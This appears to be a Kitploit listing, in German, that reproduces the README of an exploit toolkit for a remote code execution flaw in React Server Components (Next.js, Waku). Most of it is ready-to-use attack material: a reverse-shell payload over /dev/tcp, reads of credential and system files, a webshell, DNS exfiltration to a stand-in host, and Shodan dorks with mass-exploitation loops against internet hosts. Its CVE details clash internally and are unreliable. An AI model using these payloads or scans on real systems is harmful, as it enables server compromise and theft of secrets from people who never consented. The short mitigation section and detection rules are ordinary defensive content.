Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PoC-RCE-CVE-2025-55182 — Fortschrittliches RCE-Ausnutzungstoolkit für Schwachstellen in React Server Components. Bietet mehrere vorgefertigte Payloads, Shodan-Integration zur Zielermittlung und Massenscans für autorisierte Penetrationstests. | Kitploit
Tools/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubilixm/poc-rce-cve-2025-55182
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

PoC-RCE-CVE-2025-55182

Fortschrittliches RCE-Ausnutzungstoolkit für Schwachstellen in React Server Components. Bietet mehrere vorgefertigte Payloads, Shodan-Integration zur Zielermittlung und Massenscans für autorisierte Penetrationstests.

Repository anzeigen
Teilen

🔥 RSC RCE Exploit Toolkit

Version License Node Platform

Fortschrittliches Exploitation-Toolkit für Remote-Code-Ausführung-Schwachstellen in React Server Components

Nur für autorisierte Penetrationstests und Sicherheitsforschung

Funktionen • Installation • Nutzung • Shodan-Integration • Beispiele • Haftungsausschluss


📋 Inhaltsverzeichnis

  • Übersicht
  • Schwachstellendetails
  • Funktionen
  • Installation
  • Schnellstart
  • Nutzung
    • Grundlegende Exploitation
    • Verfügbare Payloads
    • Benutzerdefinierte Payloads
  • Shodan-Integration
  • Automatisiertes Scannen
  • Beispiele
  • Gegenmaßnahmen
  • Betroffene Versionen
  • Mitwirken
  • Haftungsausschluss
  • Lizenz

🎯 Übersicht

Dieses Toolkit nutzt eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components (RSC)-Implementierungen aus, die insbesondere Folgendes angreift:

  • Next.js (Versionen 13.4.0 – 14.1.0)
  • Waku (anfällige Versionen)

Die Schwachstelle nutzt Prototype Pollution und unsicheres Deserialisieren im Datenhandhabungsmechanismus von RSC, um eine beliebige Codeausführung auf dem Server zu erreichen.

🔴 Schweregrad: KRITISCH

  • CVSS-Score: 9.8 (Kritisch)
  • Angriffsvektor: Netzwerk
  • Erforderliche Berechtigungen: Keine
  • Benutzerinteraktion: Keine
  • Auswirkung: Vollständige Serverkompromittierung

🔬 Schwachstellendetails

Technischer Hintergrund

React Server Components verwenden ein benutzerdefiniertes Serialisierungsformat, um Daten zwischen Client und Server zu übertragen. Die Schwachstelle besteht darin, wie diese Frameworks speziell präparierte Payloads deserialisieren und verarbeiten.

Angriffskette:

  1. Payload-Konstruktion: Erstellen einer bösartigen RSC-Payload mit zirkulären Referenzen
  2. Prototype Pollution: Missbrauch von $X:constructor:constructor zum Zugriff auf den Function-Konstruktor
  3. Code-Injektion: Einschleusen beliebigen JavaScript-Codes in das _prefix-Feld
  4. Ausführung: Der Server deserialisiert und führt die Payload aus

Exploitation-Ablauf

root@kitploit:~
Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

✨ Funktionen

Kernfähigkeiten

  • ✅ Mehrere Framework-Unterstützung: Next.js und Waku
  • ✅ 8 vorgefertigte Payloads: Vom PoC bis zu vollständigen Reverse Shells
  • ✅ Benutzerdefinierte Codeausführung: Beliebiges JavaScript einschleusen
  • ✅ Shodan-Integration: Automatisierte Zielerkennung
  • ✅ Massenscanning: Mehrere Ziele automatisch testen
  • ✅ Professionelle CLI: Vollständige Kommandozeilenschnittstelle
  • ✅ Detaillierte Protokollierung: Farbcodierte Ausgabe mit Zeitstempeln
  • ✅ Fehlerbehandlung: Robustes Fehlermanagement

Vorgefertigte Payloads


📦 Installation

Voraussetzungen

  • Node.js >= 16.0.0
  • npm oder yarn
  • Shodan CLI (optional, für automatisiertes Scannen)

Repository klonen

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Abhängigkeiten installieren

root@kitploit:~
npm install
# or
yarn install

Shodan einrichten (Optional)

root@kitploit:~
# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

🚀 Schnellstart

1. Basis-Schwachstellenprüfung

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Reverse-Shell erhalten

root@kitploit:~
# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Benutzerdefinierten Befehl ausführen

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 Nutzung

Grundlegende Exploitation

root@kitploit:~
node rsc-rce-exploit.js [options]

Optionen

*Entweder --payload oder --custom ist erforderlich

Verfügbare Payloads

Alle Payloads anzeigen:

root@kitploit:~
node rsc-rce-exploit.js --list

Ausgabe:

root@kitploit:~
📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Benutzerdefinierte Payloads

Beliebigen JavaScript-Code ausführen:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan-Integration

Shodan-Dorks

Next.js-Ziele

root@kitploit:~
# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku-Ziele

root@kitploit:~
# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

Automatisierte Shodan-Suche

Verwenden Sie das beiliegende Automatisierungsskript:

root@kitploit:~
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

Manueller Shodan-Workflow

root@kitploit:~
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. Test each target
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 Automatisiertes Scannen

Massen-Exploitation-Skript

Das mass-exploit.js-Tool ermöglicht das Testen mehrerer Ziele:

root@kitploit:~
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10

# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json

Integration in CI/CD

Beispiel für automatisierte Sicherheitstests:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 Beispiele

Beispiel 1: Basis-PoC

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

Erwartete Ausgabe:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!

Beispiel 2: Exfiltration von Umgebungsvariablen

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

Ergebnis:

  • Gibt alle process.env-Variablen aus
  • Nützlich zum Extrahieren von:
    • Datenbank-Anmeldedaten
    • API-Schlüsseln
    • AWS-Geheimnissen
    • JWT-Geheimnissen

Beispiel 3: Reverse-Shell

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

Beispiel 4: Web-Shell bereitstellen

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

Beispiel 5: DNS-Exfiltration (Blind)

root@kitploit:~
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

Beispiel 6: Waku-Framework

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

Beispiel 7: Datei-Exfiltration

root@kitploit:~
# Read sensitive files
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ Gegenmaßnahmen

Für Entwickler

  1. Framework aktualisieren

    root@kitploit:~
    npm install next@latest
    # or
    npm install waku@latest
    
  2. Eingaben validieren

    root@kitploit:~
    // Validate all RSC payloads
    function validateRSCPayload(payload) {
      // Implement strict validation
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. Content Security Policy

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. RSC in Produktion deaktivieren (falls nicht benötigt)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

Für Sicherheitsteams

  • 🔍 Überwachen Sie verdächtige RSC-Anfragen
  • 🚨 Alarmieren Sie bei Nutzung des next-action-Headers
  • 🔒 WAF-Regeln, um Prototype-Pollution-Versuche zu blockieren
  • 📊 Log-Analyse auf Exploit-Versuche

Erkennungsregeln

YARA-Regel:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Snort-Regel:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 Betroffene Versionen

Next.js

Waku

VersionsbereichStatusAnmerkungen
< 0.18.0⚠️ ANFÄLLIGKritischer RCE
>= 0.18.0✅ GepatchtUpdate empfohlen

🤝 Mitwirken

Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:

  1. Repository forken
  2. Einen Feature-Branch erstellen (git checkout -b feature/amazing-feature)
  3. Ihre Änderungen committen (git commit -m 'Füge großartige Funktion hinzu')
  4. Zum Branch pushen (git push origin feature/amazing-feature)
  5. Einen Pull-Request öffnen

Ideen für Beiträge

  • Weitere Payload-Vorlagen hinzufügen
  • Nuclei-Vorlagen implementieren
  • Unterstützung für weitere RSC-Frameworks hinzufügen
  • Shodan-Integration verbessern
  • Berichtsfunktion hinzufügen (PDF/HTML)
  • Docker-Container für das Toolkit erstellen

⚖️ Haftungsausschluss

root@kitploit:~
⚠️ LEGAL DISCLAIMER ⚠️

This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

By using this software, you agree to:

1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions

The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction

USE AT YOUR OWN RISK.

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

root@kitploit:~
MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

🔗 Ressourcen

Offizielle Dokumentation

  • Next.js Server Actions
  • React Server Components
  • Waku-Dokumentation

Sicherheitsforschung

  • RSC-Deserialisierungs-Schwachstellenanalyse
  • Prototype Pollution in JavaScript
  • Next.js-Sicherheitsbest Practices

Verwandte CVEs

  • CVE-2024-XXXXX (Platzhalter – echte CVE hinzufügen, sobald verfügbar)

📬 Kontakt

  • GitHub Issues: Fehler melden oder Funktionen anfragen
  • Sicherheitsprobleme: [email protected]
  • Twitter: @yourhandle

⭐ Wenn Ihnen dieses Tool bei Ihrer Sicherheitsforschung geholfen hat, geben Sie ihm bitte einen Stern! ⭐

Mit ❤️ gemacht von Sicherheitsforschern für Sicherheitsforscher

⬆ Zurück zum Anfang

Tool herunterladen
PayloadBeschreibungAnwendungsfall
consoleBasis-PoC (console.log)Schwachstelle verifizieren
reverseShellBash-Reverse-ShellErster Zugriff
readFile/etc/passwd lesenDateisystemzugriff
envDumpUmgebungsvariablen ausgebenCredential-Extraktion
execCommandSystembefehle ausführenBeliebige Befehlsausführung
webshellExpress-Webshell bereitstellenDauerhafter Zugriff
exfilPackagepackage.json exfiltrierenAbhängigkeitsanalyse
dnsExfilDNS-Exfiltration (OOB)Blind-Exploitation
OptionBeschreibungErforderlich
--target <url>Ziel-URL✅
--framework <name>Framework: next oder waku❌ (Standard: next)
--payload <name>Payload-Name (siehe unten)✅*
--custom <code>Benutzerdefinierter JavaScript-Code✅*
--lhost <ip>Ihre IP (für Reverse-Shell)❌
--lport <port>Ihr Port (für Reverse-Shell)❌
--command <cmd>Auszuführender Befehl❌
--endpoint <path>Benutzerdefinierter RSC-Endpunkt (Waku)❌
--action-id <id>Benutzerdefinierte next-action-ID❌
--listVerfügbare Payloads auflisten❌
--verboseAusführliche Ausgabe❌
--helpHilfe anzeigen❌
VersionsbereichStatusAnmerkungen
< 13.4.0✅ Nicht betroffenRSC nicht standardmäßig aktiviert
13.4.0 – 13.4.19⚠️ ANFÄLLIGKritischer RCE
13.5.0 – 14.0.4⚠️ ANFÄLLIGKritischer RCE
14.1.0⚠️ ANFÄLLIGTeilweise Absicherung
>= 14.1.1✅ GepatchtUpdate empfohlen